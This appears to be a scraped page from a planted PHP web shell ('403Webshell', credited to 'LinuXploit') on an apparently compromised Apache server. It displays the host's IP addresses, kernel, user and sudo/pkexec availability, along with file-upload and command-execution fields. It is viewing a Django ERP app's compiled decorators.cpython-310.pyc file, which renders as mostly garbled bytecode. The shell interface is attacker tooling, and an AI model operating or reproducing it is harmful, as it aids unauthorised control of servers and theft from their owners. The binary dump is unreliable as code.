403Webshell
Server IP : 65.108.144.40  /  Your IP : 216.73.217.165
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux ubuntu-8gb-hel1-1 5.15.0-173-generic #183-Ubuntu SMP Fri Mar 6 13:29:34 UTC 2026 x86_64
User : dev ( 1000)
PHP Version : 8.2.30
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/erp/accessibility/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/erp/accessibility/__pycache__/decorators.cpython-310.pyc
o

hͦhD�@s^dZddlmZddlmZddlmZddlmZ	ddl
mZddlm
Z
e
dd	d
��ZdS)z
employee/decorators.py
�)�messages)�HttpResponse)�redirect)�gettext_lazy)�check_is_accessible)�decorator_with_argumentsNcs����fdd�}|S)z%
    accessiblie check decorator
    cs�d}|j�d�}|r|j|vr|jd}d}|jjd}t|jd�}|r*t�||�}d}�r4|j���}|s>|s>�rI�|�rI�|g|�Ri|��Sd}	|j�	�}
t
�|td��|	|
vrdt
d	|�d
��St|�S)z"
        Check accessible
        �/�HTTP_REFERERF�accessibility_filter�employee_getT�HTTP_HX_REQUESTz#You dont have access to the featurez@
                <script>
                window.location.href="z,"
                </script>
                )�META�get�path�session�session_key�getattr�userr�has_perm�keysr�info�_rr)�request�args�kwargsr�referrer�
accessible�	cache_key�employeer�keyr��feature�function�method�perm��(/var/www/erp/accessibility/decorators.py�check_accessibles0

��z-enter_if_accessible.<locals>.check_accessibler%)r"r!r$r#r'r%r r&�enter_if_accessibles r()NN)�__doc__�django.contribr�django.httpr�django.shortcutsr�django.utils.translationrr�accessibility.methodsr�base.decoratorsrr(r%r%r%r&�<module>s

Youez - 2016 - github.com/yon3zu
LinuXploit